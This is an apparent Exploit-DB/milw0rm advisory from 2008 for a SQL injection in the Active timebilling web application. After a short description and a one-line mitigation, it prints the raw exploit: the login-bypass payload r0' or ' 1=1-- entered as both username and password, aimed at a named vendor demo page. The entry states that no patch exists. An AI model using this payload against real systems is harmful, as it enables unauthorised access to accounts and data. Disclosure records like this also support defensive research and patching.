Active timebilling

vendor:

Active timebilling

by:

AlpHaNiX

7.5

CVSS

HIGH

SQL Injection

CWE

Product Name: Active timebilling

Affected Version From: N/A

Affected Version To: N/A

Patch Exists: NO

Related CWE: N/A

CPE: N/A

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: N/A

2008

A SQL injection vulnerability exists in Active timebilling, which allows an attacker to execute arbitrary SQL commands via the username and password parameters in the Account.asp page.

Mitigation:

Input validation should be used to prevent SQL injection attacks.

Source

Exploit-DB raw data:

###########################################################################
#-----------------------------OffensiveTrack------------------------------#
###########################################################################







#found by : OffensiveTrack
#Author : AlpHaNiX
#website : www.offensivetrack.org
#contact on mail & msn : AlpHa@Hacker.bz





###########################################################################




#script : Active timebilling
#â‚¬xploit : http://www.activewebsoftwares.com/demoactivetimebilling/Account.asp


  username: r0' or ' 1=1--
  password: r0' or ' 1=1--





#greetz : My Best Friend Zigma

###########################################################################

# milw0rm.com [2008-11-30]